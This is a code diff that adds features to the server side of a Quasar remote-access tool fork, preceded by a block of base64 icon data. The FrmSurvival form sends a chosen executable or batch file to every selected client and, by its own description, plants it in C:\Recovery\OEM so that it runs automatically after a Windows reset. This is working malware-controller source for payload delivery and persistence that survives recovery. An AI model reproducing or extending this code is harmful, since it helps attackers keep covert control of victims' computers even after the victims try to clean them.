Dv9tXVb/3s7H/9zMxf/UxL3/iHhx/zUlIP8SAgD/JhYO/1VGQf99bWf/o5OM/7emn/+fj4j/493a//7+ + /v/////////////////////////////////////////////////z6uf/0L+4/9DAuf/Ht7D/OSki/x8P + CP+UhH3/3s7H/86+t//Lu7T/0sK7/93Nxv9kVE3/IREK/zYmH/83JyD/OCgh/zgoIf84KCH/OSki/zoq + I/8tHRb/RjYv2W5eV4f///8B////Af///wH///8B////Af///wFTQzynPy8o7TEhGv84KCH/OSki/zkp + Iv85KSL/OSki/zoqI/8xIRr/KxsU/52Nhv/j08z/28vE/+HRyv/Bsar/hXVu/0w8NP8jFhP/HQ4J/yER + Cv8yIhv/Nycf/zooIP+sop3////////////////////////////////////////////r4d3/x7Sr/8i3 + sP/n19D/loZ//yAQCf8rGxT/rZ2W/93Nxv/KurP/1cW+/+nZ0v+aioP/KhoT/zUlHv84KCH/Nycg/zgo + If84KCH/OSki/zkpIv86KiP/LR0W/0Y2L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8v + KO0xIRr/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/Oysk/ywcFf80JB3/nY2G/97Ox//h0cr/4dHK/93N + xv/Rwbr/vayl/6STjP+Hd3H/cmJb/2NTTf9MOTL/dGNa/+3o5v////////7+///+/v///v7///////// + ///07+z/x7Wt/8e3r//n2dL/va2m/zwsJf8UBAD/Y1NM/9XFvv/YyMH/38/I/+HRyv+fj4j/NiYf/y4e + F/86KiP/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af// + /wH///8B////AVNDPKc/LyjtMSEa/zgoIf85KSL/OSki/zkpIv85KSL/OSki/zgoIf86KiP/LBwV/y0d + Fv92Zl//wrKr/9zMxf/g0Mn/5NTN/+DQyf/by8T/3MzF/93Nxv/ZycL/1sa//8m4r//m29b///////// + /////v7//////////////v3/49fS/9fEvf/l1c7/taWd/z4uJ/8OAAD/U0M8/9PDvP/u3tf/3MzF/72t + pv9vX1j/LBwV/y0dFv86KiP/Nycg/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoqI/8tHRb/RjYv2W5e + V4f///8B////Af///wH///8B////Af///wFTQzynPy8o7TEhGv84KCH/OSki/zkpIv85KSL/OSki/zkp + Iv84KCH/OSki/zoqI/8wIBn/JRUO/z0tJv9zY1z/p5eQ/8q6s//czMX/5NTN/+DQyf/dzcb/3MzF/9vL + xP/SwLj/3c3G//z5+P/////////////+/v////////78/+rZ0f+/rab/e2xk/yUVEP8kFA3/fm5n/+DQ + yf/i0sv/rZ2W/3JiW/83JyD/JBQN/y8fGP85KSL/OCgh/zgoIf85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv86KiP/LR0W/0Y2L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8vKO0xIRr/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OCgh/zgoIf84KCH/OSki/zUlHv8sHBX/KBgR/zAgGf9KOjP/bl5X/49/ + eP+pmZL/v6+o/8q6s//Swrv/zr63/93MxP/89/X//////////////////////+Pc2f9xXlb/NyYg/yoa + E/9SQjz/kIB5/6yclf+Le3T/UkI7/zEhGv8oGBH/LR0W/zYmH/86KiP/OCgh/zgoIf84KCH/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVND + PKc/LyjtMSEa/zgoIf85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zYm + H/80JB3/MSEa/yoaE/8rGxT/Nycg/z8vKP9OPjf/Xk5I/2NTS/9eTET/xLu3//////////////////// + /v+ShoH/EgAA/ysbFP9FNS7/X09I/04+N/82Jh//KRkS/y4eF/8zIxz/NSUe/zcnIP85KSL/MSEa/zIi + G/85KSL/Nycg/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoqI/8tHRb/RjYv2W5eV4f///8B////Af// + /wH///8B////Af///wFTQzynPy8o7TEhGv84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/Oioj/zkpIv84KCH/NiYf/zUlHv8zIxz/MCAZ/y0dFv8tHRX/EAAA/3dp + ZP/49vX////////////v7Ov/YFBJ/yAOBv87LCX/NSUe/zIiG/81JR7/NSUe/zcnIP84KCH/OSki/zgo + If85KSL/MSEa/049Nf9OPTX/MCAZ/zkpIv84KCH/OSki/zkpIv85KSL/OSki/zkpIv86KiP/LR0W/0Y2 + L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8vKO0xIRr/OCgh/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Nycg/zgoIf85KSL/OSki/zkpIv84KCH/OCgh/zgo + If84KCH/Oiok/yMRCf9PQTr/6efm////////////4t7c/z4sJP8lFQ7/Oioj/zcnIP85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv84KCH/Oioj/xUEAf+rnpn/ppmU/xUEAf86KyP/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVNDPKc/LyjtMSEa/zgo + If85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv86KiP/OCki/yYVDv8sGhP/PCwl/zoq + I/85KSL/OSki/zgoIf84KCH/OCgh/zoqI/8oGRH/NCEZ/9vV0v///////////8W9uf8pFw//MSEa/zkp + Iv84KCH/Nycg/zgoIf85KSL/OSki/zkpIv85KSL/Oioj/xwMB/8zHxj/7ero/+7q6f82Ixz/HQwJ/zss + JP86KiP/OSki/zkpIv85KSL/OSki/zoqI/8tHRb/RjYv2W5eV4f///8B////Af///wH///8B////Af// + /wFTQzynPy8o7TEhGv84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/Nycg/zoq + Iv9tXVj/Xk5I/zIiHP83JyD/OCgh/zgoIf85KSL/OCgh/zgoIf85KSL/NSUe/yQSCf+3rqv///////// + //+dko7/GQcA/zsrJP84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zAhGP8pFxL/s6el//// + ////////saek/yQSDv8yIhv/Oysk/zkpIv85KSL/OSki/zkpIv86KiP/LR0W/0Y2L9luXleH////Af// + /wH///8B////Af///wH///8BU0M8pz8vKOsxIRr/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv86KiP/OCgh/xsLBf8nHh3/7+bh/6efnP8GAAD/JxUQ/zsrJP85KSL/OSki/zkpIv85KSL/OCgh/zoq + I/8YBgD/kYR///7+/f/7+fn/f29p/xwLBP88LCX/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/y4e + F/85Jh//u7Ou//////////////////////+4r6v/PCoi/y4eF/86KiP/OSki/zkpIv85KSL/Oioj/y0d + Fv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVFBOqs+LifvMSEa/zgoIf85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/NiYf/zkpIf9tXlj/iXx4//z38//Pysj/e2xm/1pLRP8yIRr/Nycg/zkp + Iv85KSL/OSki/zkpIv86KiP/HQsE/3hoYP/6+fn/9fTz/1xNRv8jEgv/Oisk/zkpIv85KSL/OSki/zkp + Iv86KiP/Oioj/zsrJP8xIRr/MR8Y/52Qiv/7+vn////////////7+fn/m4+I/zAfF/8yIhv/Oioj/zkp + Iv85KSL/OSki/zoqI/8tHRb/RjYv221dVov///8B////Af///wH///8B////Af///wFTQzyrPy8o7zIi + G/85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zIiG/88KiL/4NfT/////////v3///7+//// + //+bko7/JBIL/zQjHP85KSL/OSki/zkpIv85KSL/Oioj/yQTC/9ZS0X/9fT0//Hv7v9DMiv/JxcQ/zoq + I/85KSL/OSki/zoqI/85KSL/KxsU/yoZEv82Jh7/Oysl/zMjHP8aCAX/lIiD//79/P/9/fz/koeD/xkH + BP80JR3/Oysk/zkpIv85KSL/OSki/zkpIv87KyT/LR0W/0MzLNtsXFWL////Af///wH///8B////Af// + /wH///8BaFhRaUU1LscsHBX/Oioj/zgoIf85KSL/OSki/zgoIf85KSL/OSki/zkpIv83JyD/OSoj/1RF + Pv9pWlP/9/Hv/8O/vP9WR0D/Szs0/zQkHP84KCH/OSki/zkpIv85KSL/OSki/zkpIv8oFxD/QjEq//Hv + 7//j3tr/OSYe/ywcFv86KiP/OSki/zkpIv86KyT/Lh0V/1A/N/9WR0D/MB8X/zMjHP87KyT/KhoU/ygV + Dv/k3tv/5N7b/yoXEP8oGRP/Oysk/zkpIv85KSL/OSki/zkpIv84KCH/Oioj/ygYEf9MPDW7f29oWf// + /wH///8B////Af///wH///8B////AYd3cBNrW1RdLx8Y7TAgGf84KCH/OSki/zkpIv84KCH/OCgh/zkp + Iv85KSL/OSki/zgoIf8lEw3/MB4c/+fg2/+noZ7/FQMA/y4dFv86KiP/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/LBwV/zglHf/s5uP/z8nG/y0bEv8yIhv/OSki/zkpIv87KyP/JhYQ/2dXUP/v6+n/+vn3/5iM + iP8qGBD/MiMc/zsrJP8bCwT/mImC/5WFf/8ZCQP/PCwl/zkpIv85KSL/OSki/zoqI/85KSL/Nycg/zAg + Gf81JR7nf29oUaOTjA3///8B////Af///wH///8B////Af///wH///8B////AV5OR1FDMyzRNSUe/zYm + H/83JyD/Oioj/zgoIf85KSL/OSki/zkpIv84KCH/Nycg/zgoIf9XSEL/T0A5/zUlHv85KSL/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zEhGv8tGxP/3tfV/7u1s/8gDQX/Nygh/zkpIv85KSL/PCwl/xYE + Af+qoZ7////////////X0s//Oygh/ycXEP86KiP/NCUe/0IxKf9DMiv/MiMc/zkpIv85KSL/OSki/zoq + I/83JyD/MyMc/zQkHf06KiPDWEhBQf///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8BZVVOGVJCO307KyTbMCAZ/zQkHf84KCH/OSki/zkpIv85KSL/OSki/zkpIv83KCH/JhYO/ywb + FP87KyT/OSki/zgoIf85KSL/OSki/zkpIv85KSL/OCgh/zgoIf82Jh//IxAI/8zGw/+uqKb/FgQA/zsr + JP85KSL/OSki/zorJP8nFg//ZlZQ/+Tg3v/v7ez/n5WQ/yoZEf80JB3/OSki/zopIv8wIBr/MCAZ/zoq + I/84KCH/OSki/zkpIv8zIxz/Lh4X/z4uJ9deTkdzX09IE////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8BUEA5L1lJQps4KCHtNSUe/zYmH/85KSL/OCgh/zgo + If84KCH/OSki/zsrJP86KiP/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/Oioj/xsI + Av+yqqf/ppqU/xoJAv87KyT/OSki/zkpIv85KSL/Oysk/y0cFP9SQjv/WUlD/y8fF/8zIxz/Oysk/zkp + Iv85KSL/OSki/zkpIv84KCH/OSki/zYmH/8zIxz/OSki52RUTZFeTkcn////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wGBcWoFTj43SUc3 + MK80JB31Lx8Y/zYmH/85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zsrJP8dDAX/npGL/5OFfv8gDwj/Oysk/zgoIf85KSL/OSki/zoqI/83KCH/IxML/yMR + Cf8xIRn/PCwl/zkpIv85KSL/OSki/zkpIv85KSL/Nycg/y4eF/8yIhv1Tz84o1tLRD+VhX4F////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wFPPzgJVUU+X0g4MdUwIBn/MSEa/zsrJP85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zgoIf86KiP/IxMM/5B/eP+Ccmv/JRYP/zoqI/84KCH/OSki/zkp + Iv85KSL/OSki/zkqI/86KiP/OSki/zkpIv85KSL/OSki/zkpIv85KSL/NSUe/zAgGf9JOTLPXExFV19P + SAf///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFpWVIbTj43dz0tJu0vHxj/OCgh/zkp + Iv85KSL/OSki/zgoIf84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/ygYEf96amP/bl5X/yoa + E/85KSL/OCgh/zkpIv85KSL/OSki/zgoIf84KCH/OCgh/zkpIv85KSL/OSki/zkpIv84KCH/Lh4X/zsr + JN1RQTpzeGhhE////wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVRE + PQOIeHEvSjozozUlHvs0JB3/NiYf/zgoIf84KCH/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoq + I/8wIBn/XU1G/1FBOv8yIhv/Nycg/zgoIf85KSL/OSki/zkpIv84KCH/OCgh/zcnIP84KCH/OCgh/zcn + IP81JR7/NCQd+VtLRJ1dTUYjWkpDA////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////AVFBOgVPPzhJQDApuzYmH/8zIxz/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zsrJP83JyD/OSki/zcnIP85KSL/OSki/zkpIv85KSL/OCgh/zgo + If85KSL/Nycg/zMjHP81JR77Pi8ot1hIQUNmVk8D////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVlJQgtuXldtNSUe1zEh + Gv8xIRr/OCgh/zoqI/85KSL/OSki/zkpIv85KSL/OSki/zoqI/82Jh//NiYf/zgoIf84KCH/OCgh/zkp + Iv85KSL/OSki/zkpIv81JR7/NiYf/zIiG/9HNzDTWkpDX0U1LgX///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AVNDPCE9LSaPPS0m5TMjHP83JyD/Oioj/zoqI/85KSL/OSki/zgoIf85KSL/OSki/zgo + If84KCH/OSki/zgoIf85KSL/Oioj/zoqI/81JR7/MiIb/zoqI9tAMCqHcmJbHf///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AWhYUTtGNjCrNCQd8zEhGv81JR7/Oioj/zkp + Iv83JyD/OCgh/zkpIv85KSL/OSki/zgoIf84KCH/Oysk/zMjHP8tHRb/OCgh71dHQKNJOTIt////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BXU1GBz4u + J09AMCm9NSUe/zIiG/84KCH/OSki/zgoIf85KSL/OSki/zgoIf86KiP/OSki/zEhGv8zIxz/RDQtt0o6 + M0l5aWIF////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8BXk5HE2paU2U0JB3bKBgR/zMjHP85KSL/OCgh/zgoIf85KSL/MiIb/y4e + F/83JyDZdGRdX25eVw////8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BVUU+I2BQSY04KCHzLh4X/zoq + I/85KSL/MSEa/zkpIu9FNS5/SDgxH////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8BYlJLOUU1Lq8yIhvXMiIb104+N6lqWlM1////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA== + + + \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmSurvival.Designer.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmSurvival.Designer.cs new file mode 100755 index 0000000..814d15a --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmSurvival.Designer.cs @@ -0,0 +1,135 @@ +namespace Quasar.Server.Forms +{ + partial class FrmSurvival + { + private System.ComponentModel.IContainer components = null; + + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + private void InitializeComponent() + { + this.lblTitle = new System.Windows.Forms.Label(); + this.lblDescription = new System.Windows.Forms.Label(); + this.lblFilePath = new System.Windows.Forms.Label(); + this.txtFilePath = new System.Windows.Forms.TextBox(); + this.btnBrowse = new System.Windows.Forms.Button(); + this.btnInstall = new System.Windows.Forms.Button(); + this.btnUninstall = new System.Windows.Forms.Button(); + this.btnCancel = new System.Windows.Forms.Button(); + this.SuspendLayout(); + // + // lblTitle + // + this.lblTitle.AutoSize = true; + this.lblTitle.Font = new System.Drawing.Font("Segoe UI", 12F, System.Drawing.FontStyle.Bold); + this.lblTitle.Location = new System.Drawing.Point(12, 9); + this.lblTitle.Name = "lblTitle"; + this.lblTitle.Size = new System.Drawing.Size(178, 21); + this.lblTitle.TabIndex = 0; + this.lblTitle.Text = "Survival - Reset Persist"; + // + // lblDescription + // + this.lblDescription.Location = new System.Drawing.Point(12, 40); + this.lblDescription.Name = "lblDescription"; + this.lblDescription.Size = new System.Drawing.Size(460, 60); + this.lblDescription.TabIndex = 1; + this.lblDescription.Text = "This feature installs a file that will execute after Windows Reset/Recovery.\r\n\r\nThe file will be placed in C:\\Recovery\\OEM and configured to run automatically after system reset."; + // + // lblFilePath + // + this.lblFilePath.AutoSize = true; + this.lblFilePath.Location = new System.Drawing.Point(12, 110); + this.lblFilePath.Name = "lblFilePath"; + this.lblFilePath.Size = new System.Drawing.Size(79, 13); + this.lblFilePath.TabIndex = 2; + this.lblFilePath.Text = "File to Install:"; + // + // txtFilePath + // + this.txtFilePath.Location = new System.Drawing.Point(12, 130); + this.txtFilePath.Name = "txtFilePath"; + this.txtFilePath.ReadOnly = true; + this.txtFilePath.Size = new System.Drawing.Size(360, 22); + this.txtFilePath.TabIndex = 3; + // + // btnBrowse + // + this.btnBrowse.Location = new System.Drawing.Point(378, 128); + this.btnBrowse.Name = "btnBrowse"; + this.btnBrowse.Size = new System.Drawing.Size(94, 26); + this.btnBrowse.TabIndex = 4; + this.btnBrowse.Text = "Browse..."; + this.btnBrowse.UseVisualStyleBackColor = true; + this.btnBrowse.Click += new System.EventHandler(this.btnBrowse_Click); + // + // btnInstall + // + this.btnInstall.Location = new System.Drawing.Point(12, 170); + this.btnInstall.Name = "btnInstall"; + this.btnInstall.Size = new System.Drawing.Size(120, 30); + this.btnInstall.TabIndex = 5; + this.btnInstall.Text = "Install"; + this.btnInstall.UseVisualStyleBackColor = true; + this.btnInstall.Click += new System.EventHandler(this.btnInstall_Click); + // + // btnUninstall + // + this.btnUninstall.Location = new System.Drawing.Point(138, 170); + this.btnUninstall.Name = "btnUninstall"; + this.btnUninstall.Size = new System.Drawing.Size(120, 30); + this.btnUninstall.TabIndex = 6; + this.btnUninstall.Text = "Uninstall"; + this.btnUninstall.UseVisualStyleBackColor = true; + this.btnUninstall.Click += new System.EventHandler(this.btnUninstall_Click); + // + // btnCancel + // + this.btnCancel.Location = new System.Drawing.Point(352, 170); + this.btnCancel.Name = "btnCancel"; + this.btnCancel.Size = new System.Drawing.Size(120, 30); + this.btnCancel.TabIndex = 7; + this.btnCancel.Text = "Cancel"; + this.btnCancel.UseVisualStyleBackColor = true; + this.btnCancel.Click += new System.EventHandler(this.btnCancel_Click); + // + // FrmSurvival + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(484, 212); + this.Controls.Add(this.btnCancel); + this.Controls.Add(this.btnUninstall); + this.Controls.Add(this.btnInstall); + this.Controls.Add(this.btnBrowse); + this.Controls.Add(this.txtFilePath); + this.Controls.Add(this.lblFilePath); + this.Controls.Add(this.lblDescription); + this.Controls.Add(this.lblTitle); + this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog; + this.MaximizeBox = false; + this.MinimizeBox = false; + this.Name = "FrmSurvival"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterParent; + this.Text = "Survival - Reset Persistence"; + this.ResumeLayout(false); + this.PerformLayout(); + } + + private System.Windows.Forms.Label lblTitle; + private System.Windows.Forms.Label lblDescription; + private System.Windows.Forms.Label lblFilePath; + private System.Windows.Forms.TextBox txtFilePath; + private System.Windows.Forms.Button btnBrowse; + private System.Windows.Forms.Button btnInstall; + private System.Windows.Forms.Button btnUninstall; + private System.Windows.Forms.Button btnCancel; + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmSurvival.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmSurvival.cs new file mode 100755 index 0000000..cb598e0 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmSurvival.cs @@ -0,0 +1,101 @@ +using Quasar.Common.Messages; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Networking; +using System; +using System.IO; +using System.Windows.Forms; + +namespace Quasar.Server.Forms +{ + public partial class FrmSurvival : Form + { + private readonly Client[] _clients; + + public FrmSurvival(Client[] clients) + { + _clients = clients; + InitializeComponent(); + Utilities.ThemeManager.ApplyThemeToNewForm(this); + } + + private void btnBrowse_Click(object sender, EventArgs e) + { + using (var openFileDialog = new OpenFileDialog()) + { + openFileDialog.Title = "Select File to Install"; + openFileDialog.Filter = "Executable Files (*.exe)|*.exe|Batch Files (*.bat)|*.bat|All Files (*.*)|*.*"; + + if (openFileDialog.ShowDialog() == DialogResult.OK) + { + txtFilePath.Text = openFileDialog.FileName; + } + } + } + + private void btnInstall_Click(object sender, EventArgs e) + { + if (string.IsNullOrWhiteSpace(txtFilePath.Text)) + { + MessageBox.Show("Please select a file to install.", "Validation Error", MessageBoxButtons.OK, MessageBoxIcon.Warning); + return; + } + + if (!File.Exists(txtFilePath.Text)) + { + MessageBox.Show("The selected file does not exist.", "File Not Found", MessageBoxButtons.OK, MessageBoxIcon.Error); + return; + } + + try + { + byte[] fileBytes = File.ReadAllBytes(txtFilePath.Text); + string extension = Path.GetExtension(txtFilePath.Text); + + foreach (var client in _clients) + { + client.Send(new DoSurvivalInstall + { + FileBytes = fileBytes, + FileExtension = extension + }); + } + + MessageBox.Show($"Survival installation command sent to {_clients.Length} client(s).", + "Survival", MessageBoxButtons.OK, MessageBoxIcon.Information); + + this.Close(); + } + catch (Exception ex) + { + MessageBox.Show($"Error reading file: {ex.Message}", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error); + } + } + + private void btnUninstall_Click(object sender, EventArgs e) + { + var result = MessageBox.Show( + $"Are you sure you want to uninstall survival from {_clients.Length} client(s)?\n\nThis will restore the Recovery folder to its original state.", + "Confirm Uninstall", + MessageBoxButtons.YesNo, + MessageBoxIcon.Question); + + if (result == DialogResult.Yes) + { + foreach (var client in _clients) + { + client.Send(new DoSurvivalUninstall()); + } + + MessageBox.Show($"Survival uninstall command sent to {_clients.Length} client(s).", + "Survival", MessageBoxButtons.OK, MessageBoxIcon.Information); + + this.Close(); + } + } + + private void btnCancel_Click(object sender, EventArgs e) + { + this.Close(); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmSystemInformation.Designer.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmSystemInformation.Designer.cs new file mode 100755 index 0000000..956ae51 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmSystemInformation.Designer.cs @@ -0,0 +1,173 @@ +using Quasar.Server.Controls; + +namespace Quasar.Server.Forms +{ + partial class FrmSystemInformation + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.components = new System.ComponentModel.Container(); + Quasar.Server.Utilities.ListViewColumnSorter listViewColumnSorter1 = new Quasar.Server.Utilities.ListViewColumnSorter(); + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmSystemInformation)); + this.lstSystem = new Quasar.Server.Controls.AeroListView(); + this.hComponent = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.hValue = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.contextMenuStrip = new System.Windows.Forms.ContextMenuStrip(this.components); + this.copyToClipboardToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.copyAllToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.copySelectedToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.exportToJSONToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.toolStripMenuItem2 = new System.Windows.Forms.ToolStripSeparator(); + this.refreshToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.contextMenuStrip.SuspendLayout(); + this.SuspendLayout(); + // + // lstSystem + // + this.lstSystem.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.lstSystem.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] { + this.hComponent, + this.hValue}); + this.lstSystem.ContextMenuStrip = this.contextMenuStrip; + this.lstSystem.ForeColor = System.Drawing.Color.White; + this.lstSystem.FullRowSelect = true; + this.lstSystem.GridLines = true; + this.lstSystem.HideSelection = false; + this.lstSystem.Location = new System.Drawing.Point(15, 15); + listViewColumnSorter1.NeedNumberCompare = false; + listViewColumnSorter1.Order = System.Windows.Forms.SortOrder.None; + listViewColumnSorter1.SortColumn = 0; + this.lstSystem.LvwColumnSorter = listViewColumnSorter1; + this.lstSystem.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.lstSystem.Name = "lstSystem"; + this.lstSystem.Size = new System.Drawing.Size(669, 388); + this.lstSystem.TabIndex = 0; + this.lstSystem.UseCompatibleStateImageBehavior = false; + this.lstSystem.View = System.Windows.Forms.View.Details; + // + // hComponent + // + this.hComponent.Text = "Component"; + this.hComponent.Width = 172; + // + // hValue + // + this.hValue.Text = "Value"; + this.hValue.Width = 321; + // + // contextMenuStrip + // + this.contextMenuStrip.ImageScalingSize = new System.Drawing.Size(16, 16); + this.contextMenuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.copyToClipboardToolStripMenuItem, + this.exportToJSONToolStripMenuItem, + this.toolStripMenuItem2, + 